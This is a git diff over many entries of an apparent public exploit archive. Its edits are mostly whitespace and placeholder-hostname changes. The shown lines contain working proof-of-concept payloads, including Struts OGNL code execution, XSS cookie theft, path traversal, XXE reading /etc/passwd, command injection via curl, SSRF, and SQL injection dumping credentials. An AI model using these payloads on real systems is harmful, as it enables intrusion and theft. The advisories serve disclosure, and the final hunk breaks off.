+http://www.example.com/msg_viewer_user_mail.html?messageStoreId=shard_20100321/256665421/JUI&direction= \ No newline at end of file diff --git a/platforms/multiple/remote/36681.txt b/platforms/multiple/remote/36681.txt index b95bf69b7..8422c892b 100755 --- a/platforms/multiple/remote/36681.txt +++ b/platforms/multiple/remote/36681.txt @@ -10,4 +10,4 @@ Apache MyFaces 2.0.1 through 2.0.11 Apache MyFaces 2.1.0 through 2.1.5 http://www.example.com/faces/javax.faces.resource/web.xml?ln=../WEB-INF -http://www.example.com/faces/javax.faces.resource/web.xml?ln=..\\WEB-INF \ No newline at end of file +http://www.example.com/faces/javax.faces.resource/web.xml?ln=..\\WEB-INF \ No newline at end of file diff --git a/platforms/multiple/remote/37647.txt b/platforms/multiple/remote/37647.txt index 02c5359d6..9b6b5660b 100755 --- a/platforms/multiple/remote/37647.txt +++ b/platforms/multiple/remote/37647.txt @@ -4,4 +4,4 @@ Apache Struts2 is prone to a remote-code-execution vulnerability because it fail Attackers can exploit this issue to execute arbitrary code in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. -%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())} \ No newline at end of file +%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())} \ No newline at end of file diff --git a/platforms/multiple/remote/37900.txt b/platforms/multiple/remote/37900.txt index bbad9a07f..cc6143a6d 100755 --- a/platforms/multiple/remote/37900.txt +++ b/platforms/multiple/remote/37900.txt @@ -10,4 +10,4 @@ http://www.example.com/servlet/traveler?deviceType=700&redirectURL=javascript:al http://www.example.com/servlet/traveler?deviceType=700&redirectURL=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B -http://www.example.com/servlet/traveler?deviceType=700&redirectURL=http://websecurity.com.ua \ No newline at end of file +http://www.example.com/servlet/traveler?deviceType=700&redirectURL=http://websecurity.com.ua \ No newline at end of file diff --git a/platforms/multiple/remote/37947.txt b/platforms/multiple/remote/37947.txt index 83ce210ef..7f77d4d1a 100755 --- a/platforms/multiple/remote/37947.txt +++ b/platforms/multiple/remote/37947.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow LiteSpeed Web Server 4.1.11 and prior versions are vulnerable. -http://www.exxample.com/service/graph_html.php?gtitle=VHOSTa%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file +http://www.exxample.com/service/graph_html.php?gtitle=VHOSTa%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file diff --git a/platforms/multiple/remote/38179.txt b/platforms/multiple/remote/38179.txt index 8749caf3e..f16786411 100755 --- a/platforms/multiple/remote/38179.txt +++ b/platforms/multiple/remote/38179.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow OpenManage Server Administrator 7.1.0.1 and prior versions are vulnerable. -https://www.example.com:1311/help/sm/en/Output/wwhelp/wwhimpl/js/html/index_main.htm?topic="></iframe><iframe src="javascript:alert(/xss/) \ No newline at end of file +https://www.example.com:1311/help/sm/en/Output/wwhelp/wwhimpl/js/html/index_main.htm?topic="></iframe><iframe src="javascript:alert(/xss/) \ No newline at end of file diff --git a/platforms/multiple/remote/38230.txt b/platforms/multiple/remote/38230.txt index 0a873003d..f64d236a2 100755 --- a/platforms/multiple/remote/38230.txt +++ b/platforms/multiple/remote/38230.txt @@ -16,4 +16,4 @@ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3 Connection: keep-alive Referer: https://www.example.com:8443/exampleext/control/main?externalLoginKey=EL367731470037 -Cookie: JSESSIONID=C3E2C59FDC670DC004A562861681C092.jvm1; OFBiz.Visitor=10002 \ No newline at end of file +Cookie: JSESSIONID=C3E2C59FDC670DC004A562861681C092.jvm1; OFBiz.Visitor=10002 \ No newline at end of file diff --git a/platforms/multiple/remote/38248.txt b/platforms/multiple/remote/38248.txt index 75d036015..01c89356d 100755 --- a/platforms/multiple/remote/38248.txt +++ b/platforms/multiple/remote/38248.txt @@ -4,4 +4,4 @@ Multiple Hunt CCTV devices are prone to a remote information-disclosure vulnerab Successful exploits will allow attackers to obtain sensitive information, such as credentials, that may aid in further attacks. -curl -v http://www.example.com/DVR.cfg | strings |grep -i USER \ No newline at end of file +curl -v http://www.example.com/DVR.cfg | strings |grep -i USER \ No newline at end of file diff --git a/platforms/multiple/remote/38368.txt b/platforms/multiple/remote/38368.txt index 5bbf3b325..d59db0a21 100755 --- a/platforms/multiple/remote/38368.txt +++ b/platforms/multiple/remote/38368.txt @@ -14,4 +14,4 @@ Host: 172.28.1.1 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) -Accept: */* \ No newline at end of file +Accept: */* \ No newline at end of file diff --git a/platforms/multiple/remote/38387.txt b/platforms/multiple/remote/38387.txt index f06719010..aea9b3fd0 100755 --- a/platforms/multiple/remote/38387.txt +++ b/platforms/multiple/remote/38387.txt @@ -8,4 +8,4 @@ fastreader 1.0.8 is affected; other versions may also be vulnerable. The following example URI is available: -http://www.g;id;.com \ No newline at end of file +http://www.g;id;.com \ No newline at end of file diff --git a/platforms/multiple/remote/38412.txt b/platforms/multiple/remote/38412.txt index 0b84257a9..5ace112ad 100755 --- a/platforms/multiple/remote/38412.txt +++ b/platforms/multiple/remote/38412.txt @@ -12,4 +12,4 @@ http://www.example.com/mail/x.nsf/WebInteriorCalendarFS?OpenFrameSet&Frame=Notes http://www.example.com/mail/x.nsf/ToDoFS?OpenFrameSet?OpenFrameSet&Frame=NotesView&Src=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B -http://www.example.com/mail/x.nsf/WebInteriorToDoFS?OpenFrameSet&Frame=NotesView&Src=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B \ No newline at end of file +http://www.example.com/mail/x.nsf/WebInteriorToDoFS?OpenFrameSet&Frame=NotesView&Src=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B \ No newline at end of file diff --git a/platforms/multiple/remote/38549.txt b/platforms/multiple/remote/38549.txt index ab4a8ce12..ce98f2d70 100755 --- a/platforms/multiple/remote/38549.txt +++ b/platforms/multiple/remote/38549.txt @@ -8,4 +8,4 @@ Apache Struts 2.0.0 through versions 2.3.14.3 are vulnerable. http://www.example.com/example/%24%7B%23foo%3D%27Menu%27%2C%23foo%7D -http://www.example.com/example/${#foo='Menu',#foo} \ No newline at end of file +http://www.example.com/example/${#foo='Menu',#foo} \ No newline at end of file diff --git a/platforms/multiple/remote/38587.txt b/platforms/multiple/remote/38587.txt index 0e6ebb6bc..3d8a6bc56 100755 --- a/platforms/multiple/remote/38587.txt +++ b/platforms/multiple/remote/38587.txt @@ -4,4 +4,4 @@ The Mandril Security plugin for Monkey HTTP Daemon is prone to a security-bypass An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions, which may aid in launching further attacks -http://www.example.com/%2ftest/ \ No newline at end of file +http://www.example.com/%2ftest/ \ No newline at end of file diff --git a/platforms/multiple/remote/38636.txt b/platforms/multiple/remote/38636.txt index ab494178b..d0121ddd1 100755 --- a/platforms/multiple/remote/38636.txt +++ b/platforms/multiple/remote/38636.txt @@ -7,4 +7,4 @@ An attacker can exploit this issue to gain access to sensitive information that Cryptocat 2.0.21 is vulnerable; other versions may also be affected. <img src="chrome-extension://[extension-id-from-chrome-web- -store]/img/keygen.gif" onload=alert(/hascat/) onerror=alert(/hasnot/) > \ No newline at end of file +store]/img/keygen.gif" onload=alert(/hascat/) onerror=alert(/hasnot/) > \ No newline at end of file diff --git a/platforms/multiple/remote/38637.txt b/platforms/multiple/remote/38637.txt index f76f6339b..c14297c78 100755 --- a/platforms/multiple/remote/38637.txt +++ b/platforms/multiple/remote/38637.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary script code within the c Versions prior to Cryptocat 2.0.22 are vulnerable. -Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg \ No newline at end of file +Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg \ No newline at end of file diff --git a/platforms/multiple/remote/38666.txt b/platforms/multiple/remote/38666.txt index e72f99c58..5446651bc 100755 --- a/platforms/multiple/remote/38666.txt +++ b/platforms/multiple/remote/38666.txt @@ -7,4 +7,4 @@ An attacker can leverage these issues by constructing a crafted URI and enticing Apache Struts 2.0.0 prior to 2.3.15.1 are vulnerable. http://www.example.com/struts2-showcase/fileupload/upload.action?redirect:http://www.example.com/ -http://www.example.com/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.example.com/%23 \ No newline at end of file +http://www.example.com/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.example.com/%23 \ No newline at end of file diff --git a/platforms/multiple/remote/38669.txt b/platforms/multiple/remote/38669.txt index 24ef9b838..827723e3a 100755 --- a/platforms/multiple/remote/38669.txt +++ b/platforms/multiple/remote/38669.txt @@ -10,4 +10,4 @@ use databaseMapped sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) } -db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")'); \ No newline at end of file +db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")'); \ No newline at end of file diff --git a/platforms/multiple/remote/38802.txt b/platforms/multiple/remote/38802.txt index d9c9fd64c..5649c1e7c 100755 --- a/platforms/multiple/remote/38802.txt +++ b/platforms/multiple/remote/38802.txt @@ -11,4 +11,4 @@ GlassFish Server 2.1.1, 3.0.1, 3.1.2 JDeveloper 11.1.2.3.0, 11.1.2.4.0, 12.1.2.0.0 http://www.example.com/someApp/javax.faces.resource.../WEB-INF/web.xml.jsf -http://www.example.com/someApp/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. \ No newline at end of file +http://www.example.com/someApp/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. \ No newline at end of file diff --git a/platforms/multiple/remote/38805.txt b/platforms/multiple/remote/38805.txt index 5be64db06..1a5b47d73 100755 --- a/platforms/multiple/remote/38805.txt +++ b/platforms/multiple/remote/38805.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to gain access to sensitive information; this SAP Sybase Adaptive Server Enterprise 15.7 ESD 2 is vulnerable; other versions may also be affected. -SELECT xmlextract('/', xmlparse('<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&abc;</content>')) \ No newline at end of file +SELECT xmlextract('/', xmlparse('<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&abc;</content>')) \ No newline at end of file diff --git a/platforms/multiple/remote/38812.txt b/platforms/multiple/remote/38812.txt index 37cb82a32..48d0d0abe 100755 --- a/platforms/multiple/remote/38812.txt +++ b/platforms/multiple/remote/38812.txt @@ -4,4 +4,4 @@ DELL Quest One Password Manager is prone to a security bypass vulnerability. An attacker can exploit this issue to bypass certain security restrictions and gain access to sensitive areas of the application to perform unauthorized actions; this may aid in launching further attacks. -ScenarioActionId=42696720-7368-6974-2070-726F64756374&UserName=domain%5Cuser&Search=false \ No newline at end of file +ScenarioActionId=42696720-7368-6974-2070-726F64756374&UserName=domain%5Cuser&Search=false \ No newline at end of file diff --git a/platforms/multiple/remote/38845.txt b/platforms/multiple/remote/38845.txt index 1cecaf2e8..4fe915db2 100755 --- a/platforms/multiple/remote/38845.txt +++ b/platforms/multiple/remote/38845.txt @@ -6,4 +6,4 @@ Attackers can exploit these issues to execute arbitrary commands in the context SKIDATA Freemotion.Gate 4.1.3.5 is vulnerable; other versions may also be affected. -curl -X POST --header "Content-Type:text/xml" --data-binary @manual-release.raw http://www.example.com:7777/skidata/hessian/CP > /dev/null 2>&1 \ No newline at end of file +curl -X POST --header "Content-Type:text/xml" --data-binary @manual-release.raw http://www.example.com:7777/skidata/hessian/CP > /dev/null 2>&1 \ No newline at end of file diff --git a/platforms/multiple/remote/38846.txt b/platforms/multiple/remote/38846.txt index 88cab5492..16a441b9f 100755 --- a/platforms/multiple/remote/38846.txt +++ b/platforms/multiple/remote/38846.txt @@ -8,4 +8,4 @@ nginx 0.8.41 through 1.5.6 are vulnerable. The following example data is available: -/file \0.php \ No newline at end of file +/file \0.php \ No newline at end of file diff --git a/platforms/multiple/remote/39018.txt b/platforms/multiple/remote/39018.txt index bb9c0f4b2..2aa8d567a 100755 --- a/platforms/multiple/remote/39018.txt +++ b/platforms/multiple/remote/39018.txt @@ -10,7 +10,7 @@ This vulnerability affects the following supported versions: 12.2.0, 12.2.1, 12.2.2 POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1 -Host: server:8080 +Host: target.com:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 diff --git a/platforms/multiple/remote/39222.txt b/platforms/multiple/remote/39222.txt index 56b88168e..25ec36cba 100755 --- a/platforms/multiple/remote/39222.txt +++ b/platforms/multiple/remote/39222.txt @@ -4,4 +4,4 @@ Foreman is prone to a remote command-injection vulnerability. Successful exploits will result in the execution of arbitrary commands with the privileges of the user running foreman-proxy. -curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://www.example.com:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B' \ No newline at end of file +curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://www.example.com:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B' \ No newline at end of file diff --git a/platforms/multiple/remote/39258.txt b/platforms/multiple/remote/39258.txt index 431376571..8bf338c1c 100755 --- a/platforms/multiple/remote/39258.txt +++ b/platforms/multiple/remote/39258.txt @@ -8,4 +8,4 @@ An attacker may leverage these issues to gain sensitive information or bypass ce Alfresco Community Edition 4.2.f and earlier are vulnerable. -http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port \ No newline at end of file +http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port \ No newline at end of file diff --git a/platforms/multiple/remote/39259.txt b/platforms/multiple/remote/39259.txt index 4b079c58e..83ec1b78a 100755 --- a/platforms/multiple/remote/39259.txt +++ b/platforms/multiple/remote/39259.txt @@ -8,4 +8,4 @@ An attacker may leverage these issues to gain sensitive information or bypass ce Alfresco Community Edition 4.2.f and earlier are vulnerable. -http://www.example.com/alfresco/cmisbrowser?url=http://internal_system:port \ No newline at end of file +http://www.example.com/alfresco/cmisbrowser?url=http://internal_system:port \ No newline at end of file diff --git a/platforms/multiple/remote/4556.txt b/platforms/multiple/remote/4556.txt index 2b26b947c..0322ad79f 100755 --- a/platforms/multiple/remote/4556.txt +++ b/platforms/multiple/remote/4556.txt @@ -30,9 +30,9 @@ # Risk: Extremely High # ######################################################################################## # Example: # -# Basicly if you had a URL like so http://www.server/index.php. # +# Basicly if you had a URL like so http://www.site.com/index.php. # # And you wanted this websites source you could simply add a nullbyte and an extension # -# Like So http://www.server/index.php%00.txt # +# Like So http://www.site.com/index.php%00.txt # # Litespeed would then at this point asume the file is a txt file. # # # # Keep in mind that this vuln is Mime Type Injection... so it works with any type. # diff --git a/platforms/multiple/remote/6122.rb b/platforms/multiple/remote/6122.rb index c042796ae..0230797da 100755 --- a/platforms/multiple/remote/6122.rb +++ b/platforms/multiple/remote/6122.rb @@ -1,4 +1,4 @@ -____ ____ __ __ + ____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | diff --git a/platforms/multiple/remote/6229.txt b/platforms/multiple/remote/6229.txt index 4929f7c56..465c0b8b9 100755 --- a/platforms/multiple/remote/6229.txt +++ b/platforms/multiple/remote/6229.txt @@ -25,6 +25,6 @@ Exploit If your webroot directory has three depth(e.g /usr/local/wwwroot), An attacker can access arbitrary files as below. (Proof-of-concept) -http://server/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar +http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar # milw0rm.com [2008-08-11] diff --git a/platforms/multiple/remote/9993.txt b/platforms/multiple/remote/9993.txt index f6d55d432..b831534d4 100755 --- a/platforms/multiple/remote/9993.txt +++ b/platforms/multiple/remote/9993.txt @@ -4,4 +4,4 @@ The Apache 'mod_perl' module is prone to a cross-site scripting vulnerability be An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file +http://www.example.com/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file diff --git a/platforms/multiple/webapps/10170.txt b/platforms/multiple/webapps/10170.txt index 4c34276e6..989acf5c0 100755 --- a/platforms/multiple/webapps/10170.txt +++ b/platforms/multiple/webapps/10170.txt @@ -11,4 +11,4 @@ Published: 11-18-09 Proof of Concept: -/test.htm%3BHTTP%C0%AF1.0%20200%20OK%C0%8D%C0%8AContent-Length%3A%2070%C0%8D%C0%8AContent-Type%3Atext%C0%AFhtml%C0%8D%C0%8A%C0%8D%C0%8A%3Chtml%3E%3Cbody%3E%3Cimg%20src%3D%22http%3A//www.webserver/test.gif%22%3E%3C/body%3E%3C/html%3E%8D%C0%8A%C0%8D%C0%8A \ No newline at end of file +/test.htm%3BHTTP%C0%AF1.0%20200%20OK%C0%8D%C0%8AContent-Length%3A%2070%C0%8D%C0%8AContent-Type%3Atext%C0%AFhtml%C0%8D%C0%8A%C0%8D%C0%8A%3Chtml%3E%3Cbody%3E%3Cimg%20src%3D%22http%3A//www.website.com/test.gif%22%3E%3C/body%3E%3C/html%3E%8D%C0%8A%C0%8D%C0%8A \ No newline at end of file diff --git a/platforms/multiple/webapps/10448.txt b/platforms/multiple/webapps/10448.txt index bee434083..b17246f10 100755 --- a/platforms/multiple/webapps/10448.txt +++ b/platforms/multiple/webapps/10448.txt @@ -54,4 +54,4 @@ HTML injection: http://server:port/pls/[DADName]/icx_define_pages.editpagelist http://server:port/pls/[DADName]/oracleconfigure.customize?p_page_id=[page_id] http://www.example.com:port/pls/[DADName]/icx_define_pages.DispPageDialog?p_mode=RENAME&p_page_id=[page_id] -http://server:port/pls/[DADName]/icx_define_pages.DispPageDialog?p_mode=CREATE \ No newline at end of file +http://server:port/pls/[DADName]/icx_define_pages.DispPageDialog?p_mode=CREATE \ No newline at end of file diff --git a/platforms/multiple/webapps/10752.txt b/platforms/multiple/webapps/10752.txt index 1389c43a7..8dcdeac4a 100755 --- a/platforms/multiple/webapps/10752.txt +++ b/platforms/multiple/webapps/10752.txt @@ -1,4 +1,4 @@ -..:::::::::.. + ..:::::::::.. ..:::aad8888888baa:::.. diff --git a/platforms/multiple/webapps/10821.txt b/platforms/multiple/webapps/10821.txt index f465799e0..81016b398 100755 --- a/platforms/multiple/webapps/10821.txt +++ b/platforms/multiple/webapps/10821.txt @@ -1,5 +1,5 @@ -Application: WingFTP Server 3.2.4 (maybe earlier versions too) - Link: http://www.wftpserver/ + Application: WingFTP Server 3.2.4 (maybe earlier versions too) + Link: http://www.wftpserver.com/ Vulnerability: CSRF Author: Ams Contact: diff --git a/platforms/multiple/webapps/11211.txt b/platforms/multiple/webapps/11211.txt index d16d29920..73eaf7cca 100755 --- a/platforms/multiple/webapps/11211.txt +++ b/platforms/multiple/webapps/11211.txt @@ -53,7 +53,7 @@ Proof-of-Concept ---------------- Header Injection ("Set-Cookie"): -http://server:2082/login/?user=foo&pass=bar&failurl=%0D%0ASet-Cookie%3A%20Rec=Sec +http://server.com:2082/login/?user=foo&pass=bar&failurl=%0D%0ASet-Cookie%3A%20Rec=Sec Server Response: @@ -70,7 +70,7 @@ Set-Cookie: Rec=Sec"></head><body></body></html> Cross-Site Scripting: -http://server:2082/login/?user=foo&pass=bar&failurl=%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert%28%22Recognize-Security%20-%20%22%2Bdocument.cookie%29;%3C/script%3E%3C!-- +http://server.com:2082/login/?user=foo&pass=bar&failurl=%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert%28%22Recognize-Security%20-%20%22%2Bdocument.cookie%29;%3C/script%3E%3C!-- Server Response: @@ -89,7 +89,7 @@ Content-Type: text/html Open Redirection: -http://server:2082/login/?user=foo&pass=bar&failurl=http://www.rec-sec.com +http://server.com:2082/login/?user=foo&pass=bar&failurl=http://www.rec-sec.com Server Response: diff --git a/platforms/multiple/webapps/11403.txt b/platforms/multiple/webapps/11403.txt index 984cd0832..9103e539a 100755 --- a/platforms/multiple/webapps/11403.txt +++ b/platforms/multiple/webapps/11403.txt @@ -18,7 +18,7 @@ XSS === -http://www.webserver/webline/html/admin/wcs/LoginPage.jhtml?oper=&dest="><script>alert('xss!')</script> +http://www.website.com/webline/html/admin/wcs/LoginPage.jhtml?oper=&dest="><script>alert('xss!')</script> @@ -48,29 +48,29 @@ Cisco Collaboration Server 5 Paths It Works On (list may not be complete) ========================================================================= -http://www.webserver/doc/docindex.jhtml +http://www.website.com/doc/docindex.jhtml -http://www.webserver/browserId/wizardForm.jhtml +http://www.website.com/browserId/wizardForm.jhtml -http://www.webserver/webline/html/forms/callback.jhtml +http://www.website.com/webline/html/forms/callback.jhtml -http://www.webserver/webline/html/forms/callbackICM.jhtml +http://www.website.com/webline/html/forms/callbackICM.jhtml -http://www.webserver/webline/html/agent/AgentFrame.jhtml +http://www.website.com/webline/html/agent/AgentFrame.jhtml -http://www.webserver/webline/html/agent/default/badlogin.jhtml +http://www.website.com/webline/html/agent/default/badlogin.jhtml -http://www.webserver/callme/callForm.jhtml +http://www.website.com/callme/callForm.jhtml -http://www.webserver/webline/html/multichatui/nowDefunctWindow.jhtml +http://www.website.com/webline/html/multichatui/nowDefunctWindow.jhtml -http://www.webserver/browserId/wizard.jhtml +http://www.website.com/browserId/wizard.jhtml -http://www.webserver/admin/CiscoAdmin.jhtml +http://www.website.com/admin/CiscoAdmin.jhtml -http://www.webserver/msccallme/mscCallForm.jhtml +http://www.website.com/msccallme/mscCallForm.jhtml -http://www.webserver/webline/html/admin/wcs/LoginPage.jhtml +http://www.website.com/webline/html/admin/wcs/LoginPage.jhtml diff --git a/platforms/multiple/webapps/11404.txt b/platforms/multiple/webapps/11404.txt index 6bd5fbff6..f3caec750 100755 --- a/platforms/multiple/webapps/11404.txt +++ b/platforms/multiple/webapps/11404.txt @@ -4,7 +4,7 @@ Discovered By: s4squatch of SecureState R&D Team (www.securestate.com) Discovered: Mon, 08 Sep 2008 20:29:07 GMT -Version: 4.0.13 obtained from www.webserver/README +Version: 4.0.13 obtained from www.website.com/README @@ -30,7 +30,7 @@ REQUEST: POST /cart.php?mode=add HTTP/1.1 -Host: www.webserver +Host: www.website.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 @@ -46,7 +46,7 @@ Keep-Alive: 300 Proxy-Connection: keep-alive -Referer: http://www.webserver/product.php?productid=16&cat=0&bestseller +Referer: http://www.website.com/product.php?productid=16&cat=0&bestseller Cookie: store_language=US; xid=51cac653f7b0dfc3002888369aa343f9 @@ -84,11 +84,11 @@ Pragma: no-cache Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/ -Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/; domain=subdomain.webserver +Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/; domain=subdomain.website.com -Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/; domain=subdomain.webserver +Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/; domain=subdomain.website.com -Set-Cookie: RefererCookie=http%3A//www.webserver/home.php; expires=Sat, 07-Mar-2009 20:29:07 GMT; path=/; domain=subdomain.webserver +Set-Cookie: RefererCookie=http%3A//www.website.com/home.php; expires=Sat, 07-Mar-2009 20:29:07 GMT; path=/; domain=subdomain.website.com Connection: close diff --git a/platforms/multiple/webapps/11405.txt b/platforms/multiple/webapps/11405.txt index 2325bc777..146c6140a 100755 --- a/platforms/multiple/webapps/11405.txt +++ b/platforms/multiple/webapps/11405.txt @@ -12,4 +12,4 @@ Version: Unknown --> DLL does not contain version, therefore vendor says it is o POC: -https://www.webserver/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c"><script>alert("xss")</script>60179147875&authntype=2&username=test&passcode=test[12:26] a \ No newline at end of file +https://www.website.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c"><script>alert("xss")</script>60179147875&authntype=2&username=test&passcode=test[12:26] a \ No newline at end of file diff --git a/platforms/multiple/webapps/11964.pl b/platforms/multiple/webapps/11964.pl index 6abee1a76..4b4099ca6 100755 --- a/platforms/multiple/webapps/11964.pl +++ b/platforms/multiple/webapps/11964.pl @@ -24,11 +24,11 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/Easy-Clanpage/?section=gallery&action=kate&id= ++Vulnerability : http://www.site.com/Easy-Clanpage/?section=gallery&action=kate&id= #SQL Injection -+Exploitable : http://www.server/Easy-Clanpage/?section=gallery&action=kate&id=1 ++Exploitable : http://www.site.com/Easy-Clanpage/?section=gallery&action=kate&id=1 +union+select+1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7+from+ecp_user +where+userid=1-- ----------------------------------------------------------------------------------------- diff --git a/platforms/multiple/webapps/12610.txt b/platforms/multiple/webapps/12610.txt index 6542de0f0..91e88b773 100755 --- a/platforms/multiple/webapps/12610.txt +++ b/platforms/multiple/webapps/12610.txt @@ -52,4 +52,4 @@ Digital Security is leading IT security company in Russia, providing information Contact: research [at] dsecrg [dot]com -http://www.dsecrg.com \ No newline at end of file +http://www.dsecrg.com \ No newline at end of file diff --git a/platforms/multiple/webapps/12689.txt b/platforms/multiple/webapps/12689.txt index bf4dcf885..a32095b87 100755 --- a/platforms/multiple/webapps/12689.txt +++ b/platforms/multiple/webapps/12689.txt @@ -34,4 +34,4 @@ Copyright 2010 Procheckup Ltd. All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. -Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party. \ No newline at end of file +Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party. \ No newline at end of file diff --git a/platforms/multiple/webapps/12730.txt b/platforms/multiple/webapps/12730.txt index 1f74f9f3a..cce475455 100755 --- a/platforms/multiple/webapps/12730.txt +++ b/platforms/multiple/webapps/12730.txt @@ -1,4 +1,4 @@ -__ __ + __ __ .----..--.--.| |--..-----..----.| |.-----..-----. | __|| | || _ || -__|| _|| || _ || _ | |____||___ ||_____||_____||__| |__||_____||___ | @@ -50,3 +50,4 @@ am nt hacker just Lik3 Syst3m S3curity |_____||_____||__|__||_____||__| |__||____||__||_____||__|__||__||__||__|__||_____| + \ No newline at end of file diff --git a/platforms/multiple/webapps/13794.txt b/platforms/multiple/webapps/13794.txt index b77f0e125..8373ffa54 100755 --- a/platforms/multiple/webapps/13794.txt +++ b/platforms/multiple/webapps/13794.txt @@ -1,4 +1,4 @@ -============================================================ + ============================================================ Joomla 1.5 Jreservation Component SQLi And XSS Vulnerability ============================================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 @@ -51,7 +51,7 @@ Xploit: SQLi Vulnerability DEMO URL: - http://server/cd-hotel/Property-Cpanel.html?pid=[SQLi] + http://site.com/cd-hotel/Property-Cpanel.html?pid=[SQLi] ############################################################################################################### @@ -59,8 +59,8 @@ Xploit: XSS Vulnerability DEMO URL : - http://server/cd-hotel/Property-Cpanel.html?pid=">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> + http://site.com/cd-hotel/Property-Cpanel.html?pid=">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/multiple/webapps/14606.html b/platforms/multiple/webapps/14606.html index 50079b25f..cce181a65 100755 --- 